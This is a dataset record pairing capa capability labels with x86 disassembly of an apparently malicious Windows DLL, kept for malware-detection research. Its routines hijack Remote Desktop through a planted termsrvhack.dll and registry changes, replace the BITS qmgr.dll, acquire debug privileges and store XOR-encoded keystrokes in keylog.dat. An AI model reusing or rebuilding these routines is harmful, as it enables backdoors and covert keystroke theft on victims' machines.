joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100035a7
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x784
push ebx
push esi
lea eax, [ebp - 0x224]
push edi
push eax
mov dword [ebp - 0x20], ecx
push 0x100
mov byte [ebp - 0x784], 0x67
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
xor ebx, ebx
push 1
cmp byte [ebp - 0x224], bl
lea edi, [ebp - 0x224]
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
pop esi
je 0x10003740
jmp 0x100035fc
xor ebx, ebx
push 0x104
lea eax, [ebp - 0x124]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x124]
push 0x104
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea eax, [ebp - 0x384]
push 0x160
push eax
push 0x80
push edi
call dword [0x1001bea0]
lea eax, [ebp - 0x274]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
lea eax, [ebp - 0x124]
push eax
inc ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
mov dword [ebp - 0xc], eax
mov al, byte [edi]
cmp al, 0x41
je 0x100036aa
cmp al, 0x42
je 0x100036aa
lea eax, [ebp - 0x14]
push 0
push eax
lea eax, [ebp - 0x1c]
push eax
push edi
call dword [0x1001c364]
test eax, eax
je 0x100036aa
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
push 0x14
pop ecx
call fcn.10013700
mov edx, dword [ebp - 0x18]
push 0x14
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x1c]
pop ecx
call fcn.10013700
mov dword [ebp - 4], eax
jmp 0x100036b2
and dword [ebp - 8], 0
and dword [ebp - 4], 0
mov al, byte [edi]
push edi
mov byte [ebp + esi - 0x784], al
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov byte [ebp + esi - 0x783], al
lea eax, [ebp - 8]
push 4
push eax
lea eax, [ebp + esi - 0x782]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 4]
push 4
push eax
lea eax, [ebp + esi - 0x77e]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x274]
push ebx
push eax
lea eax, [ebp + esi - 0x77a]
push eax
call sub.MSVCRT.dll_memcpy
push dword [ebp - 0xc]
lea eax, [ebp - 0x124]
push eax
lea eax, [ebx + esi]
lea eax, [ebp + eax - 0x77a]
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 0xc]
add esp, 0x30
add eax, ebx
push edi
lea esi, [esi + eax + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [edi + eax + 1], 0
lea edi, [edi + eax + 1]
jne 0x100035fa
mov ecx, dword [ebp - 0x20]
lea eax, [ebp - 0x784]
push esi
push eax
call fcn.10007ca1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10003755
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
mov esi, ecx
mov edi, 0x2800
push str.LocalAlloc
push str.KERNEL32.dll
and dword [esi + 0x120], 0
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], edi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push 0x40
call eax
push dword [ebp + 8]
and byte [ebp - 6], 0
mov edi, eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x258]
push eax
mov byte [ebp - 0xc], 0x25
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x5c
mov byte [ebp - 9], 0x2a
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x2a
call dword [0x1001bf30]
add esp, 0xc
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x258]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x100037fa
lea eax, [ebp + 0xb]
push 1
push eax
mov ecx, esi
mov byte [ebp + 0xb], 0x68
call fcn.10007ca1
jmp 0x10003921
push 1
mov byte [edi], 0x68
pop esi
mov eax, dword [ebp - 4]
add eax, 0xfffffdf8
cmp esi, eax
jbe 0x10003830
push str.LocalReAlloc
push str.KERNEL32.dll
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
add dword [ebp - 4], 0x208
push 0x42
push dword [ebp - 4]
push edi
call eax
mov edi, eax
lea eax, [ebp - 0x128]
push 0x100191ec
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x100038dc
lea eax, [ebp - 0x128]
push 0x100191e8
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
je 0x100038dc
mov al, byte [ebp - 0x154]
and al, 0x10
mov byte [esi + edi], al
lea eax, [ebp - 0x128]
push eax
inc esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0x128]
push eax
lea eax, [esi + edi]
push eax
call sub.MSVCRT.dll_memcpy
add esi, dword [ebp - 0x10]
lea ecx, [ebp - 0x138]
push 4
push ecx
and byte [esi + edi], 0
inc esi
lea eax, [esi + edi]
push eax
mov dword [ebp - 0x10], eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x134]
push 4
push eax
mov eax, dword [ebp - 0x10]
add eax, 4
push eax
call sub.MSVCRT.dll_memcpy
add esi, 8
lea eax, [ebp - 0x140]
push 8
push eax
lea eax, [esi + edi]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x30
add esi, 8
lea eax, [ebp - 0x154]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10003800
mov ecx, dword [ebp - 0x14]
push esi
push edi
call fcn.10007ca1
push str.LocalFree
push str.KERNEL32.dll
mov esi, eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
call eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x10003928
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x458
push ebx
mov ebx, dword [ebp + 8]
and byte [ebp - 2], 0
push esi
mov esi, dword [0x1001bf30]
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x250]
mov dword [ebp - 0xc], ecx
push eax
mov byte [ebp - 8], 0x25
mov byte [ebp - 7], 0x73
mov byte [ebp - 6], 0x5c
mov byte [ebp - 5], 0x2a
mov byte [ebp - 4], 0x2e
mov byte [ebp - 3], 0x2a
call esi
add esp, 0xc
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x250]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x1000398f
xor al, al
jmp 0x10003a10
push edi
mov edi, 0x100190b0
cmp byte [ebp - 0x120], 0x2e
je 0x100039e6
test byte [ebp - 0x14c], 0x10
lea eax, [ebp - 0x120]
push eax
push ebx
push edi
je 0x100039cd
lea eax, [ebp - 0x458]
push eax
call esi
mov ecx, dword [ebp - 0xc]
add esp, 0x10
lea eax, [ebp - 0x458]
push eax
call fcn.10003928
jmp 0x100039e6
lea eax, [ebp - 0x354]
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x354]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x14c]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10003995
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
setne al
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x10003a16
Capabilities:
Get file size

Disassembly:
sub esp, 0xc
push esi
push edi
xor edi, edi
lea esi, [ecx + 0x124]
push 0x104
push edi
push esi
mov dword [esp + 0x1c], ecx
call sub.MSVCRT.dll_memset
push dword [esp + 0x24]
push esi
call sub.MSVCRT.dll_strcpy
add esp, 0x14
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10003a68
xor eax, eax
jmp 0x10003b16
push ebx
lea eax, [esp + 0xc]
push ebp
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, str.KERNEL32.dll
push str.CloseHandle
push esi
mov dword [esp + 0x1c], eax
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push edi
call eax
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
push str.LocalAlloc
push esi
add edi, 0xa
call ebx
push eax
call ebp
push edi
push 0x40
call eax
mov esi, eax
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
mov byte [esi], 0x69
mov eax, dword [esp + 0x1c]
add esp, 0xc
mov dword [esi + 1], eax
mov eax, dword [esp + 0x14]
push dword [esp + 0x20]
mov dword [esi + 5], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
lea eax, [esi + 9]
push dword [esp + 0x24]
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [esp + 0x24]
add esp, 0xc
push edi
push esi
call fcn.10007ca1
push str.LocalFree
push str.KERNEL32.dll
mov edi, eax
call ebx
push eax
call ebp
push esi
call eax
pop ebp
mov eax, edi
pop ebx
pop edi
pop esi
add esp, 0xc
ret 4
Function at 0x10003d37
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov eax, 0x1001409d
call fcn.10013680
sub esp, 0x468
push ebx
push esi
push 0x104
lea eax, [ebp - 0x370]
push 0
mov ebx, ecx
push eax
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [eax + esi - 1], 0x5c
mov dword [ebp - 0x10], 0x1001921c
jne 0x10003d80
mov dword [ebp - 0x10], 0x1001c35c
push dword [ebp - 0x10]
lea eax, [ebp - 0x370]
push esi
mov esi, dword [0x1001bf30]
push str._s_s.
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x370]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x14], eax
jne 0x10003dbe
xor al, al
jmp 0x10003e90
push edi
mov edi, str._s_s_s
cmp byte [ebp - 0x13c], 0x2e
je 0x10003e6c
lea eax, [ebp - 0x13c]
test byte [ebp - 0x168], 0x10
push eax
push dword [ebp - 0x10]
push dword [ebp + 8]
push edi
je 0x10003e04
lea eax, [ebp - 0x474]
push eax
call esi
add esp, 0x14
lea eax, [ebp - 0x474]
mov ecx, ebx
push eax
call fcn.10003d37
jmp 0x10003e6c
lea eax, [ebp - 0x26c]
push eax
call esi
mov al, byte [ebp + 0xb]
add esp, 0x14
lea ecx, [ebp - 0x24]
mov byte [ebp - 0x24], al
push 0
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea eax, [ebp - 0x26c]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x26c]
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::assign_char_const___unsigned_int_]
mov eax, dword [ebx + 0x118]
lea ecx, [ebx + 0x114]
and dword [ebp - 4], 0
lea edx, [ebp - 0x24]
push edx
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.10004241
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
lea eax, [ebp - 0x168]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10003dc4
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, 1
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
Function at 0x10004087
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0
mov edi, ecx
mov eax, dword [esi]
push 0x80
mov dword [ebp - 4], eax
mov eax, dword [esi + 4]
push 3
mov dword [ebp + 8], eax
push 0
push 2
lea eax, [edi + 0x124]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
lea eax, [ebp - 4]
push 0
push eax
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 8]
push 0
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff8
add esi, 8
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push str.CloseHandle
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
call eax
mov eax, dword [ebp - 8]
push 4
add dword [ebp + 8], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x13]
push eax
mov byte [ebp - 0x14], 0x70
call sub.MSVCRT.dll_memcpy
lea eax, [ebp + 8]
push 4
push eax
lea eax, [ebp - 0xf]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x18
lea eax, [ebp - 0x14]
mov ecx, edi
push 9
push eax
call fcn.10007ca1
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x1000497b
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x2f
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
pop ecx
inc esi
pop ecx
je 0x100049a3
push esi
push dword [ebp + 8]
call fcn.1000c6e9
pop ecx
test al, al
pop ecx
jne 0x100049a7
xor al, al
jmp 0x100049e3
push edi
push 0x10
pop ecx
xor eax, eax
lea edi, [ebp - 0x50]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x54], 0x44
push eax
lea eax, [ebp - 0x54]
push eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push str.Winds_Update
push esi
mov dword [ebp - 0x4c], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
leave
ret
Function at 0x100049e6
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x160
push esi
push edi
push dword [ebp + 8]
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x10004ade
mov eax, 0x104
xor esi, esi
mov dword [ebp - 8], eax
push eax
lea eax, [ebp - 0x160]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0xf003f
push esi
push str.Applicationsiexplore.exe_shellopencommand
push 0x80000000
call dword [0x1001be28]
test eax, eax
jne 0x10004ade
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x160]
push eax
push esi
push dword [ebp - 4]
call dword [0x1001be2c]
push dword [ebp - 4]
call dword [0x1001be30]
lea eax, [ebp - 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x10004ade
lea eax, [ebp - 0x160]
push 0x100191bc
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
mov edi, eax
pop ecx
cmp edi, esi
pop ecx
je 0x10004ade
push str.lstrcpyA
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp + 8]
push edi
call eax
push 0x10
xor eax, eax
cmp dword [ebp + 0xc], esi
pop ecx
lea edi, [ebp - 0x58]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x5c], 0x44
je 0x10004ac2
mov dword [ebp - 0x54], str.WinSta0Default
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x5c]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x160]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
xor al, al
pop esi
leave
ret

Function at 0x10004d79
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
lea eax, [ebp - 0x9c]
mov dword [ebp - 0x9c], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x98], 5
jne 0x10004dad
push 1
pop eax
cmp dword [ebp - 0x94], eax
je 0x10004daf
xor eax, eax
leave
ret
Function at 0x10004df7
Capabilities:
Copy file
Get common file path
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
xor ebx, ebx
push esi
push ebx
push 2
push ebx
push 4
push str.Start
mov esi, 0x80000002
push str.SYSTEMCurrentControlSetServicesTermService
push esi
call fcn.10008158
push ebx
push ebx
push 0x100198f4
push 1
push str.KeepRASConnections
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push esi
call fcn.10008158
push ebx
push ebx
push ebx
push 4
push str.fDenyTSConnections
push str.SYSTEMCurrentControlSetControlTerminal_Server
push esi
call fcn.10008158
add esp, 0x54
push ebx
push 1
push ebx
push 4
push str.EnableConcurrentSessions
push str.SYSTEMCurrentControlSetControlTerminal_ServerLicensing_Core
push esi
call fcn.10008158
add esp, 0x1c
call fcn.10004d79
test al, al
je 0x10004f49
push edi
push str.lstrcatA
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push ebx
push str._SystemRoot__system32_termsrvhack.dll
push 2
push str.ServiceDll
push str.SYSTEMCurrentControlSetServicesTermServiceParameters
push esi
mov dword [ebp - 4], eax
call fcn.10008158
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
add esp, 0x1c
mov edi, 0x104
lea eax, [ebp - 0x108]
push edi
push eax
call esi
lea eax, [ebp - 0x20c]
push edi
push eax
call esi
lea eax, [ebp - 0x108]
push str._termsrvhack.dll
push eax
call dword [ebp - 4]
lea eax, [ebp - 0x20c]
push str.dllcache_termsrvhack.dll
push eax
call dword [ebp - 4]
lea eax, [ebp - 0x108]
push 0x10019a20
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
push esi
push 1
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x1c
lea eax, [ebp - 0x20c]
push ebx
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x108]
push 7
push eax
call esi
lea eax, [ebp - 0x20c]
push 7
push eax
call esi
pop edi
push str.TermService
call fcn.10004db1
pop ecx
pop esi
xor al, al
pop ebx
leave
ret
Function at 0x10004f5a
Capabilities:
Enumerate processes

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push str.CreateToolhelp32Snapshot
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 2
call eax
mov esi, 0x128
mov dword [esp + 0x10], eax
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov edi, eax
push edi
push dword [esp + 0x14]
mov dword [edi], esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10004fef
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x10004fef
push dword [esp + 0x18]
mov esi, dword [sym.imp.MSVCRT.dll__strupr]
lea ebx, [edi + 0x24]
call esi
pop ecx
push eax
push ebx
call esi
mov ebp, dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
push eax
jmp 0x10004fe2
push edi
push dword [esp + 0x14]
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10004fef
push dword [esp + 0x18]
call esi
pop ecx
push eax
push ebx
call esi
pop ecx
push eax
call ebp
pop ecx
test eax, eax
pop ecx
jbe 0x10004fc7
push 1
pop eax
jmp 0x10004ff1
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x10006a8c
Capabilities:
Encode data using xor
Get common file path
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x10c]
push str.keylog.dat
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
xor esi, esi
lea eax, [ebp - 0x10c]
push esi
push 0x80
push 4
push esi
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x10006afd
push 2
push esi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
call esi
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
test edi, edi
pop ecx
mov ebx, eax
jle 0x10006b28
mov ecx, dword [ebp + 8]
sub ecx, ebx
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec edi
jne 0x10006b1c
lea eax, [ebp - 8]
push 0
push eax
push dword [ebp + 8]
call esi
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000746d
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
lea eax, [ebp - 4]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x1001bdd4]
test eax, eax
je 0x1000749f
lea eax, [ebp - 0x10]
push eax
push str.SeDebugPrivilege
push 0
call dword [0x1001bdd8]
test eax, eax
jne 0x100074a3
xor eax, eax
leave
ret
push 0
push 0
lea eax, [ebp - 0x14]
push 0x10
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [0x1001bd80]
leave
ret
Function at 0x10007563
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
mov eax, 0x10014203
call fcn.10013680
sub esp, 0x518
push ebx
push esi
mov dword [ebp - 0x10], ecx
push edi
push str.BITS
lea ecx, [ebp - 0x31c]
call fcn.100073db
xor ebx, ebx
push 4
lea ecx, [ebp - 0x31c]
mov dword [ebp - 4], ebx
call fcn.1000751c
lea ecx, [ebp - 0x31c]
call fcn.100074ee
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 3
lea ecx, [ebp - 0x31c]
call fcn.1000751c
push 0x3f
xor eax, eax
pop ecx
lea edi, [ebp - 0x10f]
mov byte [ebp - 0x110], bl
push 0x3f
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x20f]
mov byte [ebp - 0x210], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov esi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
stosb byte es:[edi], al
mov edi, 0x100
lea eax, [ebp - 0x110]
push edi
push eax
call esi
lea eax, [ebp - 0x210]
push edi
push eax
call esi
lea eax, [ebp - 0x210]
push str.System32qmgr.dll
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0x110]
push str.qmgr.dll
push eax
call sub.MSVCRT.dll_strcat
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
add esp, 0x10
lea eax, [ebp - 0x210]
push 1
push eax
lea eax, [ebp - 0x110]
push eax
call esi
lea eax, [ebp - 0x420]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.lstrcatA
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x420]
push str._res.exe
push ecx
call eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x524]
push str._d.bak
push eax
call dword [0x1001bf30]
add esp, 0xc
lea eax, [ebp - 0x524]
push eax
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea eax, [ebp - 0x524]
push ebx
push eax
call esi
mov eax, dword [ebp - 0x10]
add eax, 0x214
push eax
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
lea ecx, [ebp - 0x31c]
call fcn.10007425
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x10007b7d
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
lea eax, [ebp - 0x110]
xor ebx, ebx
push 0x104
mov dword [ebp - 0xc], ecx
push eax
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x110]
push str.keylog.dat
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x110]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x10007c21
push esi
push edi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov esi, eax
lea eax, [ebp - 8]
push ebx
push eax
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp edi, ebx
jbe 0x10007c0c
xor byte [eax + esi], 0x62
inc eax
cmp eax, edi
jb 0x10007c03
mov ecx, dword [ebp - 0xc]
push edi
push esi
call fcn.10007b33
push esi
mov ebx, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
pop esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop ebx
leave
ret